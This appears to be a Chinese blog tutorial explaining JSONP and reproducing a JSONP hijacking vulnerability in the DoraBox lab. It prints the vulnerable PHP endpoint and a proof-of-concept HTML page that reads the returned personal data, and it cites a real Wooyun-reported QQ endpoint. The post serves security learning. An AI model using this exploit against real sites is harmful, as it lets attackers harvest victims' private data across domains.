为什么要用到jsonp跨域?
同源策略:协议、域名、端口都相同,是一种安全策略,不同源的客户端脚本在没有明确授权的情况下,不能读取对方资源。
如何解决跨域(目前我掌握的有两种手段
(1)JSONP方式
(2)跨域资源共享(CORS)cors跨域漏洞浅析
Json一般长这样
{“name”:“aufeng”, “blog”:“https://blog.youkuaiyun.com/weixin_41598660”}
它是一个非官方的协议,它允许在服务器端集成Script tags返回至客户端,通过javascript callback的形式实现跨域访问(这仅仅是JSONP简单的实现形式)。JSONP是一种非正式传输协议,该协议的一个要点就是允许用户传递一个callback参数给服务端,然后服务端返回数据时会将这个callback参数作为函数名来包裹住JSON数据,这样客户端就可以随意定制自己的函数来自动处理返回数据了。
例如
http://www.dorabox.com/csrf/jsonp.php?callback=test
其中callback接口或许能插入xss的payload
Jsonp劫持漏洞复现
思维导图(个人理解
Phpstudy并且设置好网站域名攻击者为aufeng.com,漏洞页面为dorabox.com
搭建漏洞环境 dorabox,https://github.com/Acmesec/DoraBox
Json劫持漏洞源码
<?php
include "../class/function.class.php";
$reqMethod = "GET";
$reqValue = "callback";
$p = new Func($reqMethod, $reqValue);
$info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中华人民共和国', 'sex' => 'Cool Man');
if(!@$_GET['callback']){
echo $p -> con_function('json_encode',$info);
}else{
$callback = htmlspecialchars($_GET['callback']);
echo "{$callback}(" . $p -> con_function('json_encode',$info) . ")";
}
?>
漏洞页面
编写exp
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
<script type="text/javascript">
function vulkey(data){alert(JSON.stringify(data));}</script>
<script src="http://www.DoraBox.com/csrf/jsonp.php?callback=vulkey"></script>
</body>
</html>
构造的攻击链接为:http://www.aufeng.com/json2.html ,假设受害者点击该页面,攻击者将会获取受害者敏感信息。
分析:
但是如上的漏洞复现为什么成功?是因为漏洞服务器并没有对攻击者构造的页面请求进行referer的验证
例如上面攻击的请求包里面,referer值是攻击者的构造页面,但是漏洞服务器并没有对来源的页面进行一个验证,导致了攻击者能获取到受害者的敏感信息。
(有的返回json数据会验证referer是不是从自己规定的域过来的)
常见json劫持exp
https://www.cnblogs.com/xiaozi/p/9963523.html
参考文章
https://www.cnblogs.com/xiaoan0705/p/8625454.html
乌云案例
1
登录QQ,访问http://dir.minigame.qq.com/cgi-bin/yxs/GetYxsRegTime?callback=callback&dstuin=泄露用户QQ
2